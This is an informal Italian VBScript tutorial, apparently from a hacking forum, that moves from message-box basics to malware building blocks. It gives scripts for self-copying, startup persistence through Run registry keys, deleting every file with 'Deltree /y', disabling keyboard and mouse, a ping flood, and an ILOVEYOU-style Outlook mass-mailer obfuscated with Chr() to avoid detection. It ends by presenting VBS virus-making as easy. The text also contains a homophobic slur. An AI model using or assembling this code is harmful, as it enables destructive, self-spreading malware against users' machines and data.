ecco a voi una semplice guida al visual basic

Partiamo con la pratica esplicativa



Siccome potreste appallarvi parlando di cos’è uno script e cos’è il visual basic, faremo subito un esempio pratico dell’utilizzo del VBS.

1) Aprite il blocco note

2) Scrivete queste righe



MsgBox “L’utente sembra avere una testa quadrata”, 16, “Errore di Sistema”



Attenzione: se fate un bel copia-e-incolla da questi listati qui sul sito, dovrete riscrivervi le virgolette, perché qui c’è impostato un tipo di carattere diverso da quello del blocco note, non riconosciuto per scrivere gli script.

3) Salvate il file con nome “quadro.vbs” , assicuratevi che il file sia salvato in formato .vbs e non .txt, per controllare se è stato salvato correttamente potete vedere la sua icona, se il file è stato salvato correttamente come un .vbs, l’icona visibile sarà questa:



Quella è l’icona degli script visual basic, dei file .vbs oppure .vbe , estensione altrettanto valida e con la stessa icona.

4) Cliccate due volte sul file e… magia! Il sistema operativo ci contesta la testa :)..







Ora la spiegazione del Vbs



In poche parole, il visual basic script, il basic scripting host, il vbs, il vbe o come cazzo volete chiamarlo, è un vero e proprio linguaggio di programmazione che si scrive con il blocco note.

Non è possibile creare veri e propri programmi con icone, file .exe, robe complesse, ma è comunque possibile ad esempio creare dei virus addirittura col vbs!

Il vbs rispetta la stessa sintassi e regole del linguaggio di programmazione Visual Basic (molto più semplice e intuitivo del c++ ma meno potente).

Bello il vbs, no?





Scopriamo cosa può fare il vbs



A questo punto è giusto dire qualcosa riguardo a cosa si può fare con questo potente linguaggio script!

Ecco una esauriente lista di cose che possiamo far fare al vbs. Ognuna di queste righe può essere scritta nel blocco note assieme alle altre e dovrete salvare il file di testo con un nome qualsiasi ma con estensione .vbs o .vbe per far funzionare lo script.



- Messaggi di testo a video –

Forma:

MsgBox “testo”, n, “titolo”



Parametri: il testo è il testo del messaggio che verrà visualizzato, il titolo è il testo del titolo che verrà visualizzato. n è un numero che indica se il messaggio deve essere di avviso, di errore, di avvertimento o di domanda e può assumere i seguenti valori:



n Tipo di messaggio
16 
64 
48 
vbQuestion + vbYesNo ( icona con tasti sì e no) 



- Domanda all’utente –



dim risp

risp = msgbox("Sei frocio?",vbQuestion + vbYesNo)

if risp = vbYes Then msgbox ("Hai detto di sì Imbecille!") else msgbox ("Tanto non è vero")



Se l’utente risponde Sì alla domanda “Sei frocio?” verrà visualizzato il messaggio “Hai detto di sì Imbecille”, altrimenti il messaggio “Tanto non è vero”. Al posto di vbYes è anche possibile usare vbNo per una risposta negativa.

- Cancellare un file –



set fso = CreateObject("Scripting.filesystemobject")

set fl = fso.GetFile(“C:\cazzo.txt”)

fl.Delete



Il file che viene cancellato è il file di testo con nome “cazzo” che si trova nella directory C:\

- Cancellare una intera directory –



set fso = CreateObject("Scripting.filesystemobject")

fso.DeleteFolder(“C:\cazzo”)



La directory cancellata ha nome “cazzo” e si trova in C:\

- Riproduzione dello script –



set fso = CreateObject("Scripting.filesystemobject")

fso.CopyFile wscript.scriptfullname, "C:\hello.vbs"



Con queste righe, il file che abbiamo creato .vbs, qualunque sia il suo nome e dovunque esso sia collocato, si copia interamente nella directory C:\ con il nome hello.vbs

- Scrivere il registro di sistema –



set rege = CreateObject(“Wscript.shell”)

rege.regwrite “HKLM\......\Run\MyKey”, “dati”, REG_SZ



In questo modo il file .vbs scrive nella chiave di avvio del sistema Run (troncata con …… per motivi di spazio), il valore con nome “MyKey” e con dati la parola “Dati” e di tipo REG_SZ. Vediamo dunque che in modo analogo, lo script può fungere da virus partendo con il sistema ogni volta! Per scrivere una chiave, anziché un valore, è sufficiente indicare “MyKey\” al posto di “MyKey” e omettere dati e tipo di dati.

Per chi non sapesse che cos’è il registro di sistema, come può partire un programma all’avvio del Pc e cosa significa REG_SZ, la chiave Run, “MyKey”, ecc…. legga queste due importantissime sezioni :

Come partono con Windows i programmi

Il Regedit: La stanza dei bottoni di Windows


- Leggere il registro di sistema –



set rege = CreateObject(“Wscript.shell”)

str = rege.regread(“HKLM\..Run\ccApp”)



In questo modo il file .vbs legge nella chiave Run (troncata con ..), il valore “ccApp” e memorizza il testo di questa chiave nella variabile str.

Per chi non sapesse che cos’è il registro di sistema, come può partire un programma all’avvio del Pc e cosa significa leggere una chiave, un valore, ecc.. legga queste due importantissime sezioni :

Come partono con Windows i programmi

Il Regedit: La stanza dei bottoni di Windows

- Creare e scrivere file di testo –



set fso = CreateObject("Scripting.filesystemobject")

set tf = fso.CreateTextFile(“C:\ww.txt”, True)

tf.WriteLine(“ciao”)

tf.WriteBlanckLines(2) ‘ va a capo due volte

tf.Write (“closed”)

tf.close



Il vbs qui crea in C:\ il file con di testo con nome “ww” e ci scrive il testo “ciao”, poi va due volte a capo, poi scrive “closed” e chiude il file. Notare che il testo va a capo due volte preceduto dall’apice ‘ , è un commento che verrà ignorato dal sistema.

- Mostrare la finestra di formattazione del pc –



set wsh = CreateObject(“Wscript.shell”)

wsh.run “rundll32.exe shell32.dll, SHFormatDrive”



Mostra la finestra dove solitamente si formatta il pc. Fa un po’ paura ..

- Ottenere informazioni sul sistema operativo –



set wsh = CreateObject(“Wscript.shell”)

set objsysinfo = CreateObject(“SYSINFO.Sysinfo”)

wscript.echo objsysinfo.OSBuild

wscript.echo objsysinfo.OSPlataform

wscript.echo objsysinfo.OSVersion



la funzione “echo” mostra messaggi di testo, è simile a “MsgBox”.

- Spegnere o Riavviare il sistema (ottimo, lavora anche su XP Pro) –



Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from

Win32_OperatingSystem where Primary=true")

for each OpSys in OpSysSet

OpSys.Reboot() 'o Shutdown()

Next



In questo caso il sistema verrà riavviato, ma se si vuole spegnere il pc, sostituire OpSys.Reboot() con OpSys.Shutdown() .

- Eseguire un programma e attendere fino alla sua fine –



set wsh = CreateObject(“Wscript.shell”)

wsh.run “notepad” & “C:\text.txt”, 1, true

‘now waiting…

MsgBox “termina”



Il parametro “true” della funzione “run”, indica che dobbiamo attendere fino alla fine del programma per mostrare il messaggio di testo “termina”.

- Eseguire comandi da Dos –



set wsh = CreateObject(“Wscript.shell”)

wsh.run(“ping 127.0.0.1”, 1, TRUE)



In questo caso si mostrerà una finestra Dos, che farà il ping (vedere se un pc è connesso ad internet e risponde) al nostro stesso sistema. True indica, come prima, che dobbiamo attendere la fine del programma per terminare il file .vbs.

- Fare la somma di due numeri inseriti da tastiera dall’utente –



a = inputbox(“Primo numero”)

b = inputbox(“Secondonumero”)

c = int(a) + int(b)

MsgBox “Tot” & c



Con la funzione “inputbox” si mostra una finestrella che chiede di inserire il “primo numero”, poi una seconda che chiede il “secondo numero”, poi il programmino fa la somma e visualizza il risultato in una messagebox (msgbox)

- Attacco Ping Flood –



On Error resume Next

set wsh = CreateObject(“Wscript.shell”)

wsh.Run “ping.exe –t –l www.sesso.it ”, 0, false



Inviamo pacchetti a ripetizione senza sosta ad un pc. Se tanti pc con l’adsl facessero questo allo stesso ip o sito, probabilmente ci sarebbero parecchi problemi! State attenti a farlo! “On error resume next” indica che, se una istruzione è sbagliata o non valida, il vbs deve continuare con quella dopo e non fermarsi dando errore sullo schermo.

- Eseguire un’operazione all’infinito –



On Error resume Next

set wsh = CreateObject(“Wscript.shell”)

Do

Wsc.Run “http://www.sesso.it”, 3, false

Loop



Attenti qua! Si aprono finestre di Internet Explorer all’infinito! E tutte verso www.sesso.it !

- Cancellare tutti i files –



on error resume next

set fso = CreateObject("Scripting.filesystemobject")

set wsh = CreateObject(“Wscript.shell”)

set write = fso.CreateTextFile(“C:\Angry.bat”,True)

write.WriteLine “Deltree /y *.*”

write.close

wsc.run “C:\Angry.bat”,0,False



Attenti anche qua! Viene creato il file batch (.bat) con nome Angry che contiene il comando di cancellare senza preavviso tutti i files che vengono trovati e con qualsiasi estensione !

- Bloccare Mouse e Tastiera (non per Xp) –



on error resume next

set wsc = CreateObject("Wscript.shell")

RegServ = "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices"

wsc.RegWrite RegServ & "\DisableKeyboard", "Rundll32.exe Keyboard, Disable"

‘oppure

wsc.RegWrite RegServ & "\DisableMouse", "Rundll32.exe Mouse, Disable"



Tramite una chiave nel registro di sistema, blocca la tastiera e/o il mouse

Per chi non sapesse che cos’è il registro di sistema, come può partire un programma all’avvio del Pc e cosa significa leggere una chiave, un valore, ecc.. legga queste due importantissime sezioni :

Come partono con Windows i programmi

Il Regedit: La stanza dei bottoni di Windows

- Cancellare valori dal registro di sistema –



on error resume next

set wsc = CreateObject("Wscript.shell")

wsc.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\DisableKeyboard"



Cancella il valore con nome “DisableKeyboard” dal registro di sistema.

- Enumerare i Drive del Pc (C:, D:, ecc..) –



set fso = CreateObject("Scripting.filesystemobject")

set drive = fso.Drives

for each dr in drive

str = dr & “\”

Msgbox str

Next



Enumera i drive del Pc e visualizza ognuno in un messaggio.

- Trova tutti i files nel Pc con una estensione –



function KK(path)

set fso = CreateObject("Scripting.filesystemobject")

set var = fso.GetFolder(“C:\”)

set fil = var.Files

for each fk in fil

if fso.GetExtensionName(fk.path) = “exe” then

…qualcosa..

end if

Next

Set suber = var.SubFolders

For each sbe in suber

KK(sbe.path)

Next

End Function



Sotto forma di funzione, il …qualcosa.. indica che lì va l’istruzione per il file trovato.

- Controllare la Data –



if day(now) = 12 and month(now) = 1 then





Se il giorno è il 12 gennaio, allora…

- Probabilità –



Randomize

If 1 +Int(Rnd*10) = 7 then





C’è una probabilità su 7 che i puntini siano eseguiti

- Controllo se esiste un file –



set fso = CreateObject("Scripting.filesystemobject")

if fso.fileexists(“C:\cazzo.txt”) then

..



Se il file “cazzo.txt” esiste…

- Simulare la pressione di tasti della tastiera –

Le combinazioni per i tasti si scrivono tra parentesi graffe: {tasto}

Ecco la lista:



Backspace {BACKSPACE}, {BKSP} or {BS}

Break {BREAK}

Caps Lock {CAPSLOCK}

Delete {DELETE} or {DEL}

Down Arrow {DOWN}

End {END}

Enter {ENTER} or ~

Escape {ESC}

Help {HELP}

Home {HOME}

Insert {INSERT} or {INS}

Left Arrow {LEFT}

Num Lock {NUMLOCK}

Page Down {PGDN}

Page Up {PGUP}

Print Screen {PRTSC}

Right Arrow {RIGHT}

Scroll Lock {SCROLLLOCK}

Tab {TAB}

Up Arrow {UP}

F1 {F1}

F2 {F2}

F3 {F3}

F4 {F4}

F5 {F5}

F6 {F6}

F7 {F7}

F8 {F8}

F9 {F9}

F10 {F10}

F11 {F11}

F12 {F12}

F13 {F13}

F14 {F14}

F15 {F15}

F16 {F16}

‘combinazioni di tasti

Key Code

Alt %

Ctrl ^

Shift Lock +

‘esempio:

Ctrl+C = “^C”

Shift+F5 = "+{F5}"

Alt+A+Z = "%(AZ)"



Come simulare la pressione di tasti nel blocco note:



Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "%windir%\notepad.exe"

WshShell.AppActivate "Notepad"

WshShell.SendKeys "Hello World!"

WshShell.SendKeys "{ENTER}"

WshShell.SendKeys "abc"

WshShell.SendKeys "{CAPSLOCK}"

WshShell.SendKeys "def"



Non vi impaurite se il blocco note scrive da solo… J

- Bloccare il file vbs per qualche tempo –



WScript.Sleep 2000



L’intervallo è espresso in millisecondi, dunque 2000 millisecondi = 2 secondi

- Uso di % per le directory di sistema –



WshShell.Run("%windir%\notepad.exe", 1, True)

‘o %sysdir%



Windir è la directory come C:\WINDOWS, mentre Sysdir è come C:\WINDOWS\system32, almeno in Xp

- Creare finestre html col vbs –

Il metodo è un po’ cazzuto, bisognerebbe conoscere l’Html, il linguaggio con il quale sono scritte le pagine web (ma non queste : )))



Set objExplorer = WScript.CreateObject("InternetExplorer.Application", "IE_")

With objExplorer

'.Navigate "about:Blank"

.Navigate "about:" & strDisplayName

.Toolbar = 0

.StatusBar = 0

.Width = 800

.Height = 600

.Left = 0

.Top = 0

.Visible = 1

End With

Set objDocument = objExplorer.Document

objDocument.Open

objDocument.WriteLn "<html><head><title>Questo è un sito porno</title></head></body>"

objDocument.WriteLn "Se vuoi morire, fottiti..."

’testo



Si crea una finestra in IExplorer composta da codice Html.

- Inviare posta con vbs (metodo worm Iloveyou e rilevabile dagli AntiVirus) –



Set out = CreateObject("Outlook.Application")

If out = "Outlook" Then

Set mapi = out.GetNameSpace("MAPI")

Set addr = mapi.AddressLists

For Each x In addr

If x.AddressEntries.Count <> 0 Then

num = x.AddressEntries.Count

For var = 1 To num

Set mess = out.CreateItem(0)

Set varaddress = x.AddressEntries(var)

mess.To = varaddress.Address

mess.Subject = "Importante !"

mess.Body = "Devi assolutamente aiutarmi con il file allegato, per favore!"

execute "set variab = mess." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99)

& Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)

allegato = "C:\cazz.txt"

mess.DeleteAfterSubmit = True

variab.Add allegato

If mess <> "" Then

mess.Send

End If

Next

End If

Next

End If



Attenzione a come usate questo codice.

- Altro metodo per cancellare una cartella –



dim foldersys

set foldersys=CreateObject("Scripting.FileSystemObject")

If foldersys.FolderExists ("c:\Downloads") Then

foldersys.DeleteFolder "C:\Downloads",True

End if



Qui si verifica anche se la cartella esiste

- Cancellare tutti i files in una cartella, ma lasciando la cartella intatta –



dim filesysdelfile

Set filesysdelfile = CreateObject("Scripting.FileSystemObject")

filesysdelfile.DeleteFile "C:\Downloads\*.*",True

Set filesysdelfile = Nothing



Tutti i files nella directory C:\Downloads verranno cancellati, ma la directory resterà intatta.







I virus in vbs



Ora, se avete letto tutto ciò che il vbs può fare (scommetto un miliardo di NO!), avrete certamente capito, a meno che non siate davvero coglioni 100%, che è possibilissimo fare un bel virus con il basic scripting host, no?

Esistono programmini che creano da soli virus in vbs.
By dabasaro, zipper2 , hacker millennium